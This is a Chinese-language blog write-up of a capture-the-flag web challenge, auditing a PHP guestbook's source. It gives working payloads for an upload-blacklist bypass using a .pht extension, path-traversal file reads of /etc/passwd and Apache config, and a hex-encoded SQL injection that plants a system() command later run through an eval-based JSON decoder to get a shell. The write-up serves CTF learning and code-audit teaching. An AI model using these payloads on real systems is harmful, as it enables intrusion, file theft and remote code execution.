Virink's Blog logo

Virink's Blog

Let life be beautiful like summer flowers, and death like autume leaves.

 代碼審計-三個白帽-条条大路通罗马系列1

0x00 代碼審計

首先,根據 tips 1: web 源码下载 sgbmwww.rar 下載源碼,然後就開始了審計。

大概看一下index.php的流程

if($_M['form']['submit']){
    if($_M['form']['formname'] || $_FILES['file']['name']){
        $upfile = new upfile();
        $upfile->set('savepath', '');
        $upfile->set('is_rename', $_M['form']['is_rename']);
        $back = $upfile->upload($_M['form']['formname']);
    }

    $gb_array = [
        "name" => htmlspecialchars(filter($_M['form']['name'])),
        "message" => htmlspecialchars(filter($_M['form']['message'])),
        "filename" => $back,
    ];
    op($gb_array);
    $content = jsonencode($gb_array);
    $sql = "insert into guestbook(`content`) values('".$content."');";
    op($sql);
    $result = mysql_query($sql);
    if($result)
    {
        echo "thx for your feedback~";
    }else{
        op(mysql_error());
    }
}

主要是上傳漏洞getshell。

首先include_once 'init.php';初始化文件裏面再包含兩個文件include 'config.php';include 'include.php';

config.php主要是數據庫配置。

include.php是一些公共函數,fifter和json處理。

/*** 
获取GET,POST,COOKIE,存放在$_M['form'],系统表单提交变量数组
*/
$_M['form'] =array();
isset($_REQUEST['GLOBALS']) && exit('Access Error');
foreach($_COOKIE as $_key => $_value) {
    $_key{0} != '_' && $_M['form'][$_key] = daddslashes($_value);
}
foreach($_POST as $_key => $_value) {
    $_key{0} != '_' && $_M['form'][$_key] = daddslashes($_value);
}
foreach($_GET as $_key => $_value) {
    $_key{0} != '_' && $_M['form'][$_key] = daddslashes($_value);
}

再看upfile.php,一個上傳類。

獲取表單文件,過濾了php相關後綴

//文件后缀是否为合法后缀
$this->getext($filear["name"]); //获取允许的后缀
if (strtolower($this->ext)=='php'||strtolower($this->ext)=='php3'||strtolower($this->ext)=='php4'||strtolower($this->ext)=='php5') {
    return false;
}

存在一個控制重命名功能

//文件名重命名
$this->set_savename($filear["name"], $this->is_rename);

0x01 非常規思路的黑科技

顧名思義,非常規思路就是繞過了出題人的解題思路達到突破getflag的目的。

主要代碼

if($_M['form']['formname'] || $_FILES['file']['name']){
    $upfile = new upfile();
    $upfile->set('savepath', '');
    $upfile->set('is_rename', $_M['form']['is_rename']);
    $back = $upfile->upload($_M['form']['formname']);
}

前天表單沒有is_rename這個參數,可以抓包自行添加。

根據代碼

protected function set_savename($filename, $is_rename) {
if ($is_rename) {
    srand((double)microtime() * 1000000);
    $rnd = rand(100, 999);
    $filename = date('U') + $rnd;
    op(date('U') );
    $filename = $filename.".".$this->ext;   
} else {

is_rename為假的情況就是直接取用發送的文件名而不重命名。既is_rename=0

然後利用黑科技突破後綴的限制。

代碼裏限制了php、php3、php4、php5。但是忽略了pht這個也是能夠解析的後綴。

於是乎,秒破了。23333

這個思路,略猥瑣的樣子。

0x02 常規思路

其實一開始我不是用非常規思路。 也確實沒有第一時間想到pht這個黑科技。

if($_M['form']['formname'] || $_FILES['file']['name']){

這裡存在倆個輸入輸入來源,此處必有蹊蹺。

然後,跟進$back = $upfile->upload($_M['form']['formname']);

public function upload($form = '') {
    global $_M;
    if (is_array($form)) {
        $filear = $form;
    }else{
        $filear = $_FILES[$form];
    }
    if(!$filear){
        foreach($_FILES as $key => $val){
            $filear = $_FILES[$key];
            break;
        }
    }
    ...

可以自定義formname參數而不用FILES表單。既$filear = $form;

再往下看

//复制文件
$upfileok=0;
$file_tmp=$filear["tmp_name"];
$file_name=$this->savepath.$this->savename;
if (function_exists("move_uploaded_file")) {
    if (move_uploaded_file($file_tmp, $file_name)) {
        $upfileok=1;
    } else if (copy($file_tmp, $file_name)) {
        $upfileok=1;
    }
} elseif (copy($file_tmp, $file_name)) {
    $upfileok=1;
}
if ($upfileok) {
    @unlink($filear['tmp_name']); //Delete temporary files
}

可以看到,參數formname[name]formname[tmp_name]是可控的。

再看數據來源過濾,只是進行了一下簡單的addslashes轉義

function daddslashes($string, $force = 0) {
    !defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
    if(!MAGIC_QUOTES_GPC || $force) {
        if(is_array($string)) {
            foreach($string as $key => $val) {
                $string[$key] = daddslashes($val, $force);
            }
        } else {
            $string = trim(addslashes($string));
        }
    }
    return $string;
}

於是就存在任意文件讀取了。

formname[tmp_name]為任意文件,有讀取權限就能copy到upload目錄。

formname[tmp_name]=../../../../../../../../etc/passwd

成功讀取到了。

然後再看http頭可以知道是nginx服務器,於是就翻找其配置文件。

為什麼要找配置文件呢。因為題目來有sql的insert,還有jsondeconde等函數在源碼裏面根本沒用上。

必定還存在其他的源碼。有根據挑戰介紹,WEB:三个白猫寻找后台之旅,必定存在後臺。

然而掃目錄並沒有發現,估計是存在另一個網站。

通過非常規思路getflag之後,我問了下出題人,

沒想到這裡就是一個坑,由於結界是docker,通過反代理出來的。所以才顯示nginx,其實是apache服務器的。也確實存在另一個站點——後臺!

這個常規也是之後複現的。

formname[tmp_name]=../../../../../../../../etc/apache2/apache2.conf
formname[name]=vapache.txt

得到

<VirtualHost *:80>
    ServerAdmin webmaster@localhost
    DocumentRoot /var/www/html/sgbmwww
</VirtualHost>
<VirtualHost *:8080>
    ServerAdmin webmaster@localhost
    DocumentRoot /var/www/html/sgbmadmin
</VirtualHost>

然後猜測sgbmadmin也存在源碼。

直接訪問8080端口是行不通的(出題人師傅說的,表示愣逼)

任意文件讀取再次走起,成功讀到了源碼包。

審計後臺的代碼。果斷發現用到了jsondecode()

function jsondecode($json){
    if($json){
        $convert = false;
        $str = '$arr=';
        for ($i=0; $i<strlen($json); $i++){
            if (!$convert){
                if (($json[$i] == '{') || ($json[$i] == '[')){
                    $str .= ' array(';
                }else if (($json[$i] == '}') || ($json[$i] == ']')){
                    $str .= ')';
                }else if ($json[$i] == ':'){
                    $str .= '=>';
                }else{
                    $str .= $json[$i];
                }                                    
            }else{
                $str .= $json[$i];
            }         
            if ($json[$i] == '"' && $json[($i-1)]!="\\"){
                $convert = !$convert;
            }
        }
        $str = str_replace(array('\\\\' ,'\\/'), array('\\' ,'/'), $str);
        @eval($str . ';');
    }else{
        $arr = array();
    }
    return $arr;
}

很明顯,存在任意命令執行。

通過上傳一個非php解密後綴的文件,然後構造命令執行給文件改名達到getshell的目的。

命令執行是後臺文件才有的,所以要通過前臺頁面的文件包含漏洞調用。

首先,上傳一個vir.vir的shell文件。

回到index.php

$gb_array = [
    "name" => htmlspecialchars(filter($_M['form']['name'])),
    "message" => htmlspecialchars(filter($_M['form']['message'])),
    "filename" => $back,
];
$content = jsonencode($gb_array);
$sql = "insert into guestbook(`content`) values('".$content."');";

$back的數據沒有經過htmlspecialchars(filter(處理。

溯源,$back = $upfile->upload($_M['form']['formname']);

$back來自$this->savename。而$this->savename有一個特殊的過濾導致轉義的單引號逃逸了。

我們可以同截斷單引號,構造特殊語句,把命令插入到數據庫。

由於mysql的特性,insert into table語句可以插入多条数据。

insert into guestbook(`content`) values('xxx'),('xxx');

我們在文件名輸入單引號',進過轉義變成\'/,又因為

protected function set_savename($filename, $is_rename) {
    if ($is_rename) {
        ...
    } else {
        ...
        $filename = str_replace(array(":", "*", "?", "|", "/" , "\\" , "\"" , "<" , ">" , "——" , " " ),'_',$filename);
        ...

使得\'變成了_'

sql語句就編程了

insert into guestbook(`content`) values('{"name":"a","message":"a","filename":"upload\/_'"}');

#、( 都沒有過濾,構造閉合第一條數據,再構造第二條命令數據,然後用 # 截斷。

命令數據轉16進制插入數據庫就ok了

system('mv /var/www/html/sgbmwww/upload/vir.vir /var/www/html/sgbmwww/upload/vir.php')

0x73797374656D28276D76202F7661722F7777772F68746D6C2F7367626D7777772F75706C6F61642F7669722E766972202F7661722F7777772F68746D6C2F7367626D7777772F75706C6F61642F7669722E7068702729

formname[name]='),(0x73797374656D28276D76202F7661722F7777772F68746D6C2F7367626D7777772F75706C6F61642F7669722E766972202F7661722F7777772F68746D6C2F7367626D7777772F75706C6F61642F7669722E7068702729)#
formname[tmp_name]=任意內容

成功插入命令數據之後訪問

http://521fe8480e00135dc.jie.sangebaimao.com/index.php?class=../sgbmadmin/index

基本上就能成功執行任意命令,修改文件名getshell了。

出題人還很貼心,怕你的命令被別人刷沒,特意用

$sql = "select id,content from guestbook where content like '%".$_M['form']['search']."%' order by id desc limit 0,1;";

search一下你的命令就完美執行了。

本文标题 : 代碼審計-三個白帽-条条大路通罗马系列1
文章作者 : Virink
发布时间 :  
最后更新 :  
本文链接 : https://www.virzz.com/2016/05/07/three_white_hats_all_roads_lead_to_the_romes_1.html
转载声明 : 转载请保留原文链接及作者。
转载说明 : 本卡片有模板生成,本人转载来的文章请忽略~~